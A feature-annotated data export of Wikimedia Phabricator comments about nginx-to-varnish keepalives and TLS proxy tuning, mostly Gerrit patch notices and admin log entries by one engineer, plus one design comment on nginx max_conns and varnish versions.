",,,1477330431,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.8076923076923075,0.8846153846153846,"Change 317544 had a related patch set uploaded (by BBlack):
http2 concurrency: back to defaults

[[GERRIT_URL]]
"
748768,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 317543 merged by BBlack:
http2 concurrency: 32

[[https://gerrit.wikimedia.org/r/317543]]",,,1477329839,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,3.7058823529411766,0.8235294117647058,"Change 317543 merged by BBlack:
http2 concurrency: 32

[[GERRIT_URL]]"
748766,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 317543 had a related patch set uploaded (by BBlack):
http2 concurrency: 32

[[https://gerrit.wikimedia.org/r/317543]]
",,,1477329815,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.625,0.875,"Change 317543 had a related patch set uploaded (by BBlack):
http2 concurrency: 32

[[GERRIT_URL]]
"
748650,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 317528 merged by BBlack:
tlsproxy: http2: limit concurrency to 64 (was 128)

[[https://gerrit.wikimedia.org/r/317528]]",,,1477323727,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,3.48,0.84,"Change 317528 merged by BBlack:
tlsproxy: http2: limit concurrency to 64 (was 128)

[[GERRIT_URL]]"
748649,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 317528 had a related patch set uploaded (by BBlack):
tlsproxy: http2: limit concurrency to 64 (was 128)

[[https://gerrit.wikimedia.org/r/317528]]
",,,1477323689,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,9.0,3.46875,0.84375,"Change 317528 had a related patch set uploaded (by BBlack):
tlsproxy: http2: limit concurrency to 64 (was 128)

[[GERRIT_URL]]
"
748610,HTTP/1.1 keepalive for local nginx->varnish conns,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVf3OHpeRMLREAjJrsMc} [2016-10-24T15:04:16Z] <bblack> enabling/running puppet on caches for 8x varnish ports changes - T107749",,,1477321456,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,36.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,7.0,3.5681818181818183,0.8636363636363636,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2016-10-24T15:04:16Z] <bblack> enabling/running puppet on caches for 8x varnish ports changes - T107749"
748590,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 317514 merged by BBlack:
bugfix for e23f699fe2

[[https://gerrit.wikimedia.org/r/317514]]",,,1477320274,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,3.9375,0.875,"Change 317514 merged by BBlack:
bugfix for e23f699fe2

[[GERRIT_URL]]"
748588,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 317514 had a related patch set uploaded (by BBlack):
bugfix for e23f699fe2

[[https://gerrit.wikimedia.org/r/317514]]
",,,1477320247,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,13.0,3.782608695652174,0.8695652173913043,"Change 317514 had a related patch set uploaded (by BBlack):
bugfix for e23f699fe2

[[GERRIT_URL]]
"
748582,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 317405 merged by BBlack:
tlsproxy: use 8x FE ports to balance

[[https://gerrit.wikimedia.org/r/317405]]",,,1477319908,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.5238095238095237,0.8571428571428571,"Change 317405 merged by BBlack:
tlsproxy: use 8x FE ports to balance

[[GERRIT_URL]]"
748581,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 317414 merged by BBlack:
tlsproxy: raise worker connection limits, too

[[https://gerrit.wikimedia.org/r/317414]]",,,1477319907,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,4.0,0.8571428571428571,"Change 317414 merged by BBlack:
tlsproxy: raise worker connection limits, too

[[GERRIT_URL]]"
748580,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 317499 merged by BBlack:
reduce cache local ports slightly

[[https://gerrit.wikimedia.org/r/317499]]",,,1477319907,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,4.055555555555555,0.8888888888888888,"Change 317499 merged by BBlack:
reduce cache local ports slightly

[[GERRIT_URL]]"
748573,HTTP/1.1 keepalive for local nginx->varnish conns,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=https://tools.wmflabs.org/sal/log/AVf3HxbQRMLREAjJrsLN} [2016-10-24T14:36:32Z] <bblack> disabling puppet on all caches ahead of port# work, to test - T107749 / https://gerrit.wikimedia.org/r/#/c/317405",,,1477319792,,PHID-USER-j4uyesgqhubl2dywl4xd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,31.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,4.0,0.0,6.0,0.0,0.0,8.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,3.25,0.8125,"{nav icon=file, name=Mentioned in SAL (#wikimedia-operations), href=URL [2016-10-24T14:36:32Z] <bblack> disabling puppet on all caches ahead of port# work, to test - T107749 / URL"
748524,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 317404 merged by BBlack:
cache frontends: 8x local ports 3120-3127

[[https://gerrit.wikimedia.org/r/317404]]",,,1477314424,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,14.0,0.0,0.0,5.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.6363636363636362,0.8636363636363636,"Change 317404 merged by BBlack:
cache frontends: 8x local ports 3120-3127

[[GERRIT_URL]]"
748522,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 317499 had a related patch set uploaded (by BBlack):
reduce cache local ports slightly

[[https://gerrit.wikimedia.org/r/317499]]
",,,1477314336,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.88,0.88,"Change 317499 had a related patch set uploaded (by BBlack):
reduce cache local ports slightly

[[GERRIT_URL]]
"
748521,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 317414 had a related patch set uploaded (by BBlack):
tlsproxy: raise worker connection limits, too

[[https://gerrit.wikimedia.org/r/317414]]
",,,1477314335,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.857142857142857,0.8928571428571429,"Change 317414 had a related patch set uploaded (by BBlack):
tlsproxy: raise worker connection limits, too

[[GERRIT_URL]]
"
748520,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 317404 had a related patch set uploaded (by BBlack):
cache frontends: 8x local ports 3120-3127

[[https://gerrit.wikimedia.org/r/317404]]
",,,1477314334,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.586206896551724,0.896551724137931,"Change 317404 had a related patch set uploaded (by BBlack):
cache frontends: 8x local ports 3120-3127

[[GERRIT_URL]]
"
748519,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 317405 had a related patch set uploaded (by BBlack):
tlsproxy: use 8x FE ports to balance

[[https://gerrit.wikimedia.org/r/317405]]
",,,1477314333,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,68,True,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,4.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.5,0.8928571428571429,"Change 317405 had a related patch set uploaded (by BBlack):
tlsproxy: use 8x FE ports to balance

[[GERRIT_URL]]
"
733765,HTTP/1.1 keepalive for local nginx->varnish conns,"nginx has added `max_conns` to the open source master branch in  http://hg.nginx.org/nginx/rev/29bf0dbc0a77 , which should appear in 1.11.5.

That wasn't our only keepalives blocker (the other is varnish4, and there are possibly others related to backend bugs in MW/apache/hhvm), but having it makes this easier to manage.

However, because there will always be corner cases with keepalives for nginx->varnish where HTTP bugs can ""leak"" between disparate varnish backends, I'd still rather see us pursue unix domain sockets without keepalives as a superior alternative.

Either that or move towards using a purer inbound TLS proxy that operates at the PROXY or TCP level with some solution for client IP forwarding and SNI forwarding, allowing varnish to handle all HTTP protocol details.  However, at this point even if we had such a solution we'd want to block that on varnish5 (which isn't that far off and could've just as easily been called varnish4.2) stabilizing/improving their nascent HTTP/2 support as well, so we don't regress there.  The TLS terminator would need to support all of the important features we're using in nginx as well (OCSP Stapling, Dual ECC/RSA certs, etc).",,,1474643095,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,True,,,64,True,1.0,0.0,0.0,0.3333333333333333,1.3333333333333333,2.6666666666666665,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,3.6666666666666665,2.6666666666666665,0.0,0.3333333333333333,0.6666666666666666,2.6666666666666665,1.0,9.333333333333334,9.333333333333334,0.0,2.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.0,0.3333333333333333,0.6666666666666666,1.6666666666666667,0.0,3.3333333333333335,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.0,0.0,0.3333333333333333,0.0,12.333333333333334,0.3333333333333333,2.0,0.6666666666666666,0.6666666666666666,0.0,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,1.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,3.0,2.3333333333333335,8.333333333333334,1.0,2.0,7.0,0.0,0.0,0.0,0.0,5.333333333333333,0.0,0.6666666666666666,0.0,3.3333333333333335,9.333333333333334,7.0,0.0,0.6666666666666666,0.0,3.3333333333333335,0.0,1.3333333333333333,1.0,0.3333333333333333,2.3333333333333335,0.3333333333333333,0.0,0.3333333333333333,4.147186147186147,0.8311688311688311,"nginx has added CODE to the open source master branch in  URL , which should appear in 1.11.5.

That wasn't our only keepalives blocker (the other is varnish4, and there are possibly others related to backend bugs in MW/apache/hhvm), but having it makes this easier to manage.

However, because there will always be corner cases with keepalives for nginx->varnish where HTTP bugs can ""leak"" between disparate varnish backends, I'd still rather see us pursue unix domain sockets without keepalives as a superior alternative.

Either that or move towards using a purer inbound TLS proxy that operates at the PROXY or TCP level with some solution for client IP forwarding and SNI forwarding, allowing varnish to handle all HTTP protocol details.  However, at this point even if we had such a solution we'd want to block that on varnish5 (which isn't that far off and could've just as easily been called varnish4.2) stabilizing/improving their nascent HTTP/2 support as well, so we don't regress there.  The TLS terminator would need to support all of the important features we're using in nginx as well (OCSP Stapling, Dual ECC/RSA certs, etc)."
679269,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 294305 merged by BBlack:
disable keepalives on maps misc

[[https://gerrit.wikimedia.org/r/294305]]",,,1465911461,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,49,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.9444444444444446,0.8888888888888888,"Change 294305 merged by BBlack:
disable keepalives on maps misc

[[GERRIT_URL]]"
679268,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 294305 had a related patch set uploaded (by BBlack):
disable keepalives on maps misc

[[https://gerrit.wikimedia.org/r/294305]]
",,,1465911442,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,49,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.8,0.88,"Change 294305 had a related patch set uploaded (by BBlack):
disable keepalives on maps misc

[[GERRIT_URL]]
"
679247,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 294301 merged by BBlack:
cache_maps: turn on keepalives

[[https://gerrit.wikimedia.org/r/294301]]",,,1465909160,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,49,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,11.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,3.9444444444444446,0.8333333333333334,"Change 294301 merged by BBlack:
cache_maps: turn on keepalives

[[GERRIT_URL]]"
679246,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 294301 had a related patch set uploaded (by BBlack):
cache_maps: turn on keepalives

[[https://gerrit.wikimedia.org/r/294301]]
",,,1465909129,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-gnxftgrgxw5z23nhrqt6,task_subcomment,,True,c3,3,False,,,49,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,3.8,0.88,"Change 294301 had a related patch set uploaded (by BBlack):
cache_maps: turn on keepalives

[[GERRIT_URL]]
"
660370,HTTP/1.1 keepalive for local nginx->varnish conns,"Change 288213 merged by BBlack:
tlsproxy: use http/1.1 only in conjunction with varnish4

